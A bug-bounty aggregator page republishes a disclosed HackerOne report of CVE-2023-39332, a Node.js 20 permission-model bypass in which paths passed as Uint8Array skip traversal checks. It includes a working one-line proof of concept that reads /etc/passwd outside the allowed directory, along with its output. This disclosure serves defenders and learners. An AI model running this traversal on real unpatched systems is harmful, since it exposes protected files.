Skip to content
Path traversal Disclosed report Intermediate CVE-2023-39332

Path traversal through path stored in Uint8Array in Node.js 20

Node.js permission model allowed reading files outside the permitted directory when the path was supplied as a non-Buffer Uint8Array, because path traversal checks only covered strings and Buffers. An attacker with code execution in a restricted Node.js environment could read arbitrary files such as /etc/passwd.

tniessen Follow

Originally disclosed on HackerOne

Bounty$3,495 High View original
  • Disclosed after 2 months

Summary by the program

Path traversal through path stored in Uint8Array (High) - (CVE-2023-39332)

Full Security Advisory: https://nodejs.org/en/blog/vulnerability/october-2023-security-releases

The report

Various node:fs functions allow specifying paths as either strings or Uint8Array objects. In Node.js environments, the Buffer class extends the Uint8Array class. Node.js prevents path traversal through strings (see CVE-2023-30584) and Buffer objects (see CVE-2023-32004), but not through non-Buffer Uint8Array objects.

This is distinct from CVE-2023-32004 (report 2038134), which only referred to Buffer objects. However, the vulnerability follows the same pattern using Uint8Array instead of Buffer.

Steps To Reproduce:

The following Node.js command prints the contents of /etc/passwd despite having been granted access to /tmp only. This relies on the fact that TextDecoder produces Uint8Array objects that are not Buffer objects.

$ node --experimental-permission \
        --allow-fs-read=/tmp/ \
        -p 'fs.readFileSync(new TextEncoder().encode("/tmp/../etc/passwd"))'
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 6e 6f 62 6f 64 79 3a 78 3a 36 35 35 33 34 3a 36 35 35 33 34 3a 4e ... 2103 more bytes>

Supporting Material/References:

Patch

I provided a patch, which was merged into Node.js 20 as commit fa5dae1944.

Impact

Equivalent to CVE-2023-30584 (report 1952978) and CVE-2023-32004 (report 2038134).

The original report as published on HackerOne, by tniessen. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Node.js with experimental permission model enabled; Ability to execute JavaScript in that environment

The fix

The issue was fixed by a patch merged into Node.js 20.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Node.js has a security feature that restricts which files a program can read. The check for '..' in file paths only looked at normal text and one special binary type, so a different binary type slipped through and let the program read files it should not. This is like a guard checking only paper bags and not plastic bags.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by tniessen

View all

15 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.